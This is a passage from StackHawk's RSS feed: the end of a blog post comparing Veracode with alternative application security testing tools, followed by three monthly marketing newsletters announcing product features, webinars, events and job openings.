which can impact its effectiveness in certain situations.&lt;/p&gt;&lt;h3&gt;What Veracode Does&lt;/h3&gt;&lt;p&gt;Veracode offers a comprehensive suite of application security testing tools, including static analysis, dynamic analysis, and software composition analysis. These tools help development teams identify security vulnerabilities in their source code, network security, and other areas of their software development process. Veracode’s platform integrates with existing workflows, allowing teams to scan compiled code and identify potential security issues early in the development process. This integration ensures that security is embedded throughout the development lifecycle, helping teams to maintain a robust security posture. Unfortunately, even though Veracode can look really good on paper, many run up against its limitations quickly.&lt;/p&gt;&lt;h3&gt;Veracode Limitations&lt;/h3&gt;&lt;p&gt;Despite its strengths, Veracode has several limitations that can impact its effectiveness. One of the main limitations is its inability to provide a seamless and intuitive user interface, which can make it difficult for development teams to use the platform effectively. Additionally, Veracode’s vulnerability management capabilities can be limited, making it challenging for teams to prioritize and manage security issues effectively. Furthermore, Veracode’s software supply chain security capabilities, features that manage security risks in their third-party components, can be limited. This can make it difficult for teams to identify issues and rectify them before they can have a larger impact. These limitations can hinder the overall efficiency and effectiveness of security teams and software developers working with them, especially in fast-paced development environments.&lt;/p&gt;&lt;h2&gt;Integration and Scalability&lt;/h2&gt;&lt;p&gt;One of the key features of any application security platform is its ability to integrate with existing workflows and scale to meet the needs of large development teams. In this section, we will explore Veracode’s integration and scalability capabilities.&lt;/p&gt;&lt;h3&gt;Seamless Integration&lt;/h3&gt;&lt;p&gt;Veracode’s platform integrates with a range of development tools and platforms, including IDEs, CI/CD tools, and version control systems. This allows development teams to scan their code and identify potential security issues early in the development process. However, Veracode’s integration capabilities can be limited, making it difficult for teams to integrate the platform with their existing workflows. Additionally, Veracode’s scalability can be limited, making it challenging for large development teams to use the platform effectively.&lt;/p&gt;&lt;p&gt;In contrast, some Veracode alternatives offer more seamless integration and scalability capabilities. For example, GitHub&amp;#39;s Advanced Security platform provides a range of integration options, including APIs and webhooks, making it easy for development teams to integrate the platform with their existing workflows. Additionally, GitHub&amp;#39;s platform is highly scalable, making it suitable for large development teams. This is a major reason why StackHawk has become such a close &lt;a href=&quot;https://www.stackhawk.com/github/&quot;&gt;partner of GitHub&lt;/a&gt;! This flexibility and scalability ensure that security measures can grow alongside the development process, providing continuous protection without hindering productivity.&lt;/p&gt;&lt;p&gt;Overall, while Veracode is a well-established application security platform, it has several limitations that can impact its effectiveness. In contrast, some Veracode alternatives offer more comprehensive and scalable solutions that can meet the needs of large development teams. Now, it&amp;#39;s time to start exploring some of the alternatives to Veracode!&lt;/p&gt;&lt;h2&gt;Top Veracode Alternatives&lt;/h2&gt;&lt;h3&gt;StackHawk&lt;/h3&gt;&lt;p&gt;As the only product built for automation in CI/CD, &lt;a href=&quot;https://stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; is the most modern DAST platform on the market. With StackHawk, dynamic application security tests are automated in the DevOps pipeline, alerting engineering teams if they have introduced a new vulnerability before the release to production. This approach drastically reduces the time to discover new vulnerabilities, and with a developer-centric platform, engineers are equipped to fix vulnerabilities themselves while still in the context of the code they are working on. &lt;/p&gt;&lt;p&gt;Additionally, StackHawk is the leader in DAST for modern technologies. Modern application stacks introduce different requirements for dynamic testing. Today&amp;#39;s applications are backed by APIs, with more and more of the risk found at the API layer. StackHawk offers best-in-class API security testing for REST, GraphQL, SOAP, and gRPC APIs. With StackHawk, teams can test the underlying APIs and microservices independently, allowing for more performant tests and identification of vulnerabilities earlier in the development lifecycle.&lt;/p&gt;&lt;h3&gt;Burp Suite&lt;/h3&gt;&lt;p&gt;Security teams that are not ready to shift DAST left may prefer Burp Suite by Portswigger. Burp Suite has long been a favorite among penetration testers, and with the release of Burp Suite Enterprise, the product is growing in popularity among internal security teams as well. &lt;/p&gt;&lt;p&gt;For security teams that prefer to review all vulnerabilities themselves as a first step in the process, Burp Suite is the product of choice. Burp Suite Enterprise runs as a point-and-click scan, which makes it easy for security teams to test the production application or a publicly available staging site. &lt;/p&gt;&lt;p&gt;Note that while the product messages DevSecOps, the scan is simply run as a trigger from a CI/CD run rather than running a scan as part of the CI/CD pipeline. This is a step left in security testing, but it still requires vulnerabilities to be public-facing before they can be discovered.&lt;/p&gt;&lt;p&gt;→ For more DAST tools and a guide on what to look for, be sure to check out our &lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt;&lt;u&gt;DAST Overview and Tooling Guide&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Alternatives to Veracode SCA&lt;/h2&gt;&lt;h3&gt;Snyk&lt;/h3&gt;&lt;p&gt;In recent years, &lt;u&gt;Snyk&lt;/u&gt; has quickly become the software composition analysis tool of choice. Snyk actively maintains the open-source &lt;a href=&quot;https://snyk.io/product/vulnerability-database/&quot;&gt;&lt;u&gt;Snyk Intel Vulnerability Database&lt;/u&gt;&lt;/a&gt;, which is the leading vulnerability database in the market. The &lt;u&gt;Snyk Open Source&lt;/u&gt; product, its SCA offering, leverages the vulnerability database to alert developers when a dependency in their codebase contains a vulnerability.&lt;/p&gt;&lt;p&gt;Snyk&amp;#39;s developer-centric approach has led to its rapid growth and adoption. Developers are alerted in their IDE if they&amp;#39;ve included a dependency that contains a vulnerability, and teams can instrument automation in CI/CD to ensure that vulnerabilities don&amp;#39;t hit production. Additionally, with automated pull requests and patching, Snyk makes it easy for developers to deploy secure applications.&lt;/p&gt;&lt;h3&gt;Dependabot &lt;/h3&gt;&lt;p&gt;&lt;u&gt;Dependabot&lt;/u&gt; is the SCA tool built into GitHub. It compares the dependency graph of the codebase against a database of known vulnerabilities, alerting users if a dependency they are using is vulnerable. Additionally, Dependabot reviews any changes to dependencies in the pull request, allowing teams to catch vulnerabilities before they are added to the code base. Dependabot is enabled on all public repos by default and can be enabled on private repos by a user with admin privileges.&lt;/p&gt;&lt;h2&gt;Alternatives to Veracode SAST&lt;/h2&gt;&lt;h3&gt;Snyk&lt;/h3&gt;&lt;p&gt;Snyk Code, the latest product release from Snyk, builds upon the company’s developer-centric application security foundation to deliver static application security testing for developers. True to its DNA, Snyk Code is integrated into the IDE, identifying security vulnerabilities when they are first introduced. With this, it is easy for developers to fix the bug while they are working on that part of the codebase instead of having to revisit it weeks or months later. Additionally, Snyk Code is integrated into the DevOps pipeline, allowing security teams to write rules that prevent vulnerabilities from being pushed to production.&lt;/p&gt;&lt;h3&gt;Semgrep&lt;/h3&gt;&lt;p&gt;Semgrep is a new open source static analysis tool that is maintained and commercially supported by &lt;a href=&quot;https://r2c.dev/&quot;&gt;r2c&lt;/a&gt;. Semgrep makes it easy to leverage existing security rules for static analysis, and also supports writing custom rules to identify vulnerable code. Semgrep makes it easy to automate testing, with the ability to run tests in the IDE, CLI, or in CI/CD. Semgrep supports 17 languages, including Go, Java, Javascript, Python, and more.&lt;/p&gt;&lt;h3&gt;GitHub CodeQL &lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/github/&quot;&gt;&lt;u&gt;CodeQL&lt;/u&gt;&lt;/a&gt; is a semantic analysis tool built around the QL query language. It draws on an &lt;u&gt;open-source,&lt;/u&gt; community-maintained set of queries to help developers identify vulnerabilities in their code. CodeQL supports testing for C/C++, C#, Go, Java, JavaScript/TypeScript, and Python. Some people are more familiar with CodeQL under the Semmle brand, the original creators of the product that was then acquired by GitHub.&lt;/p&gt;&lt;h2&gt;Best in Class Alternative to Veracode&lt;/h2&gt;&lt;p&gt;Finding the right suite of application security testing tools is dependent on the specific use cases of a given team. However, here at StackHawk, one of our favorite combinations is StackHawk for DAST (we are obviously biased, but we also believe you&amp;#39;ll agree if you &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;give us a try&lt;/u&gt;&lt;/a&gt;) and Snyk for SAST and SCA. For a glimpse of how these tools can work together, check out the following video:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://fast.wistia.net/embed/iframe/v74b2ucycp?videoFoam=true&quot;&gt;Video &lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[June Newsletter: One Medical Chooses StackHawk, and More!]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/june-newsletter-one-medical-chooses-stackhawk-and-more</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;h3&gt;One Medical Automates AppSec with StackHawk&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.onemedical.com/&quot;&gt;&lt;u&gt;One Medical&lt;/u&gt;&lt;/a&gt; is a technology-enabled healthcare solution that was looking to improve their security tooling. The team wanted the ability to scale application security across the engineering org and equip developers with automated security testing.&lt;/p&gt;&lt;p&gt;One Medical deployed StackHawk and is now saving 15 hours of manual finding review per week. And best of all, security and engineering are working together to fix vulnerabilities. &lt;/p&gt;&lt;p&gt;Get all the details in the full case study 👇&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;a href=&quot;https://www.stackhawk.com/customers/one-medical/&quot;&gt;&lt;b&gt;&lt;u&gt;Read the Case Study&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;h3&gt;Fixing Vulnerabilities On the Fly 🦅&lt;/h3&gt;&lt;p&gt;We’ve been there… You push your latest updates and get an alert about a new type of security bug you haven’t run into before.&lt;/p&gt;&lt;p&gt;What is this vulnerability? What caused it? And how do I fix it?&lt;/p&gt;&lt;p&gt;We wanted to make it easier and faster to find answers to these questions so you can get back to feature development. &lt;/p&gt;&lt;p&gt;Check out all of our latest resources on how to fix common vulnerabilities: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;&lt;u&gt;Cross-Site Scripting (XSS) Guide&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-request-forgery-csrf/&quot;&gt;&lt;u&gt;Cross-Site Request Forgery (CSRF or XSRF) Guide&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;&lt;u&gt;SQL Injection Guide&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cors/&quot;&gt;&lt;u&gt;Cross Origin Resource Sharing (CORS) Guide&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;Bonus: &lt;/b&gt;Dive into &lt;a href=&quot;https://www.stackhawk.com/blog/&quot;&gt;&lt;u&gt;the blog&lt;/u&gt;&lt;/a&gt; for detailed guides on each vulnerability based on your tech stack. &lt;/p&gt;&lt;h2&gt;Other Happenings: Because We Have to Keep Corporate Busy Somehow&lt;/h2&gt;&lt;h3&gt;📺 HawkTalks&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=YVsU-adgxb4&quot;&gt;&lt;u&gt;ZAP DeepDive - Fuzzing&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=7SiYpZYDlEg&quot;&gt;&lt;u&gt;StackHawk GraphQL Technical Workshop&lt;/u&gt;&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[From the Archives] &lt;/b&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=B-MDsECikqM%5C&quot;&gt;&lt;u&gt;ZAP DeepDive: ZAP Automation&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;📖 Reading Material&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/customers/planetly/&quot;&gt;&lt;u&gt;Planetly Picks StackHawk Over Building Internal ZAP Service&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/building-secure-graphql-apis-with-stackhawk/&quot;&gt;&lt;u&gt;Building Secure GraphQL APIs with StackHawk&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/software-composition-analysis-sca-overview-and-tooling-guide/&quot;&gt;&lt;u&gt;Software Composition Analysis (SCA): Overview and Tooling Guide&lt;/u&gt;&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[From the Archives] &lt;/b&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/how-to-migrate-zap-stackhawk/&quot;&gt;&lt;u&gt;How to Migrate from ZAP to StackHawk&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;📽 Virtual Events&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;July 12: &lt;a href=&quot;https://hi.t.hubspotemail.net/e2t/tc/VVBgNh8kkYsdN4n02f2MF3d4W28qdJZ4trxhMN6hnppQ3p_9rV1-WJV7CgTCGW3jLvGZ5Qw34fW5L18NQ5YPmxjW6KxNd96N82vkW1d8MRP5BqR4SMdYMCxBz3wpW22CcLc4HHLBYW53r7ct7nHwbWW8VqBW020rtSRW7ZpXFt1gkVJNW8j3XLq1kf_6zW6Q3KZB1GTrrDW4CXFs41_lPbYW2PDTQ58gdqk9W12QnPf1F2Tf9N87Yfk51SndWW6RFWTb7YMst-W7MP57_984KW1W5kVG9m8ZPK_NW4W34B98Ky0MyV3dTbp6xbWkVW2VgRWB2-KV7bW7h0jlr38b9T-N8S0cpSjt07JW19994k30l_0fW6RKhct6wP9b0VQ1L8J1lBFP-3cZW1&quot;&gt;&lt;u&gt;Continuous Delivery Panel&lt;/u&gt;&lt;/a&gt;&lt;u&gt;&lt;/u&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;July 27: &lt;a href=&quot;https://www.ctoconnection.com/events/series/cto-connection-online-the-summer-series#reducing-cycle-time&quot;&gt;&lt;u&gt;CTO Summit - Reducing Cycle Time&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;July 28: &lt;a href=&quot;https://stackhawk.zoom.us/webinar/register/1016249215350/WN_OEt21TtKSiasUGRM9qGwTQ&quot;&gt;&lt;u&gt;StackHawk + Harness Webinar&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;September 14: &lt;a href=&quot;https://www.ctoconnection.com/events/series/online-series-lessons-in-management&quot;&gt;&lt;u&gt;CTO Summit - Structuring Your Org&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;💼 Jobs @ StackHawk&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Head of Engineering&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Solutions Architect &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Account Executive&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Head of Product Management&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Developer Advocate&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;❤️ Give Us Some Love&lt;/h3&gt;&lt;p&gt;Share the goodness of developer-centric application security. We are always grateful for recommendations and referrals! We’d love for you to share StackHawk with your friends and colleagues, or &lt;a href=&quot;https://www.g2.com/products/stackhawk/competitors/alternatives&quot;&gt;&lt;u&gt;leave us a review on g2&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[May Newsletter: Integration Updates, API Security Testing Guide, and More!]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/may-newsletter-2021</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;h3&gt;The Changelog: New Features to KaaKaww About&lt;/h3&gt;&lt;p&gt;This month we released new integration capabilities that make it even easier to find and fix vulnerabilities in your existing workflows.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Enhanced Integrations View. &lt;/b&gt;All StackHawk users can quickly discover which integrations are configured for their environment. Navigate to the integrations tab in the StackHawk platform and look for the &lt;b&gt;installed &lt;/b&gt;badge to see what your org is currently running. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Microsoft Teams. &lt;/b&gt;Stay on top of scan activity with the new MS Teams integration. StackHawk Enterprise users that run MS Teams can integrate StackHawk scan notifications into their workspace.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;🪝Generic Webhooks. &lt;/b&gt;We are hooked! Enterprise users can send scan results as a rich JSON payload to any data management tool.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;API Security Testing Guide&lt;/h3&gt;&lt;p&gt;Leading teams are keeping their most valuable data secure through automated API vulnerability testing in CI/CD.&lt;/p&gt;&lt;p&gt;To help you in your search for best-in-class tooling, we have compiled an API security guide that covers types of API security testing tools, deployment methods, scan quality, and more. Read the guide and get going.&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-testing-overview/&quot;&gt;&lt;b&gt;I Want Secure APIs&lt;/b&gt;&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;h3&gt;GraphQL Security Testing Learning Lab&lt;/h3&gt;&lt;p&gt;Join StackHawk Senior DevOps engineer Zachary Conger and get ready for some Graph! Zachary will be leading an interactive session that goes over how to keep your GraphQL protected from security vulnerabilities with automated security testing.&lt;/p&gt;&lt;p&gt;Tune into this hands-on learning lab and follow along as we test an intentionally vulnerable GraphQL API, and go over how to find and fix vulnerabilities in CI/CD.&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;a href=&quot;https://stackhawk.zoom.us/webinar/register/9416219032847/WN_MxKY4N4FQemlXzlXCpjx5Q&quot;&gt;&lt;b&gt;Save My Spot&lt;/b&gt;&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;h3&gt;Other Happenings: Because We Have to Keep Corporate Busy Somehow&lt;/h3&gt;&lt;p&gt;📺 &lt;b&gt;HawkTalks&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://stackhawk.zoom.us/rec/share/L4iqGVt9swJ9BH7M5oZ-Gz9O64sd7_kf39QhkNYFYz_0GUneOjOxNGtq7zyubjfI.cQ-zZscC0Xty85jx&quot;&gt;Technical Workshop: Authenticated Security Testing&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/LQyJmNj5CgA&quot;&gt;ZAP DeepDive - Zest Scripts Pt. 2&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/zwOZayLmNoY&quot;&gt;ZAP DeepDive - Zest Scripts Pt. 3&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://stackhawk.zoom.us/rec/share/1kuZ80rXnvUaf9okTcXAqJ0MqFKhjqdLbSlojek-Y8JujdxZvF4X2LAU2_4CmX68.iK0u6XrKwTHB0IkB&quot;&gt;Technical Workshop: Adding AppSec Testing to Your GitHub Pipeline&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/bxtHy1o05rU&quot;&gt;ZAPCon After Hours: Adding ZAP To All Your Testing&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;💻 &lt;b&gt;Webinars&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;June 29: &lt;a href=&quot;https://stackhawk.zoom.us/webinar/register/9416219032847/WN_MxKY4N4FQemlXzlXCpjx5Q&quot;&gt;GraphQL Security Testing Workshop&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📖&lt;/b&gt; &lt;b&gt;Reading Material&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-testing-overview/&quot;&gt;API Security Testing Overview and Tooling Guide&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/customers/one-medical/&quot;&gt;One Medical Automates AppSec Testing with StackHawk&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-request-forgery-csrf/&quot;&gt;What is CSRF?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[From the Archives]&lt;/b&gt; &lt;a href=&quot;https://www.stackhawk.com/blog/prometheus-metrics-with-springboot-and-grpc-services/&quot;&gt;Prometheus Metrics with SpringBoot + GRPC Services&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📽&lt;/b&gt; &lt;b&gt;Virtual Events&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;June 9: &lt;a href=&quot;https://live.jsnation.com/&quot;&gt;JSNation Live&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;June 12: &lt;a href=&quot;https://www.bsidessatx.com/&quot;&gt;B Sides SATX&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;June 19: &lt;a href=&quot;https://pnwcon.com/&quot;&gt;AppSec Pacific Northwest&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;June 23: &lt;a href=&quot;https://www.devseccon.com/&quot;&gt;DevSecCon 24&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;June 24: &lt;a href=&quot;https://ins1ghts.ns1.com/event/45e80dca-c499-421b-bb0c-5ebd9e3ccff0&quot;&gt;INS1GHTS&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;June 23: &lt;a href=&quot;https://events.linuxfoundation.org/cdcon/&quot;&gt;cdCon&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;💼 &lt;b&gt;Jobs @ StackHawk&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Java Engineer - Scanning Technology&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Software Engineer - Scanning Technology&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Director of Product Management&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Developer Advocate&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;❤️ Give Us Some Love&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Share the goodness of developer-centric application security. We are always grateful for recommendations and referrals! We’d love for you to share StackHawk with your friends and colleagues, or &lt;a href=&quot;https://www.g2.com/products/stackhawk/competitors/alternatives&quot;&gt;leave us a review on g2&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[April Newsletter: Enterprise Plan Updates, Hands-On Technical Workshops, and More!]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/april-newsletter-2021</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;h3&gt;The Changelog: New Features to KaaKaww About&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Enterprise Plan Additions&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Audit Log. &lt;/b&gt;Enterprise plan users can view an audit log of all activity within their org. Important account details and events like logins, scan kick-offs, and triage history are now available to make compliance and reporting easier. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Downloads Results as JSON. &lt;/b&gt;Sharing is caring. Enterprise users can now download Scan Results as JSON and import results into other platforms. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;SAML Support. &lt;/b&gt;Enterprise users can use their SAML provider for SSO authentication to access StackHawk. &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Findings Recreation Improvements. &lt;/b&gt;Recreate vulnerabilities faster with cURL commands for all findings – even those without request/response evidence.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Keyboard Navigation. &lt;/b&gt;Users who navigate the StackHawk platform without a mouse will be able to perform all actions using only their keyboard. The sound of your Cherry MX Blue switches is music to our ears.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Register Now for Hands-On AppSec Workshops&lt;/h3&gt;&lt;p&gt;Join StackHawk Senior DevOps engineer Zachary Conger to sharpen your application security testing skills. Zachary will be leading a series of hands-on technical workshops covering topics like using different types of AppSec tooling, running authenticated scans, and GraphQL security testing. &lt;/p&gt;&lt;p&gt;All you need to do is register and come ready to find and fix vulns.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;May 4 at 9 AM PT: Automated Security Testing in a GitHub Pipeline
&lt;/b&gt;Add SCA, SAST, &amp;amp; DAST to your pipeline using GitHub Actions. 
&lt;a href=&quot;https://stackhawk.zoom.us/webinar/register/4316196358245/WN_ntmvYDvzR4eFXXwyAsxlOA&quot;&gt;Register &amp;gt;&amp;gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;May 28 at 9 AM PT: Authenticated Scanning&lt;/b&gt;
Walk through three common authentication scenarios and practice running automated, authenticated scans.&lt;a href=&quot;https://stackhawk.zoom.us/webinar/register/9016196366821/WN_oaV73pMbSYqqgarP_c4GOw&quot;&gt; 
Register&amp;gt;&amp;gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;June 29 at 9 AM PT: GraphQL Security Testing
&lt;/b&gt;See how you can protect your GraphQL APIs from security vulnerabilities with automated testing.
&lt;a href=&quot;https://stackhawk.zoom.us/webinar/register/7216196373374/WN_MxKY4N4FQemlXzlXCpjx5Q&quot;&gt;Register&amp;gt;&amp;gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Your Guide to Modern Security Tooling&lt;/h3&gt;&lt;p&gt;Dynamic Application Security Testing, aka DAST, is a form of security tooling that tests a running version of your application to identify potential security vulnerabilities. &lt;/p&gt;&lt;p&gt;DAST scans your running app so it works no matter what language your app is written in and DAST keeps false positives to a minimum.&lt;/p&gt;&lt;p&gt;If you are looking to learn more about how you can better secure your apps, check out our DAST tooling guide.&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt;&lt;b&gt;See the Guide&lt;/b&gt;&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;h3&gt;Other Happenings: Because We Have to Keep Corporate Busy Somehow&lt;/h3&gt;&lt;p&gt;📺 &lt;b&gt;HawkTalks&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/hLNLBcY0L-M&quot;&gt;ZAPCon After Hours: Automating ZAP with Jenkins&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/XWXF3UoIMKI&quot;&gt;StackHawk and FOSSA: Automated Security Testing&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/DW_vXdEOoVA&quot;&gt;ZAP Deep Dive - Zest Scripts, Part 1&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/GJFccJBDkFg&quot;&gt;Scanning REST APIs&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;💻 &lt;b&gt;Webinars&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;May 4: &lt;b&gt;[Workshop]&lt;/b&gt; &lt;a 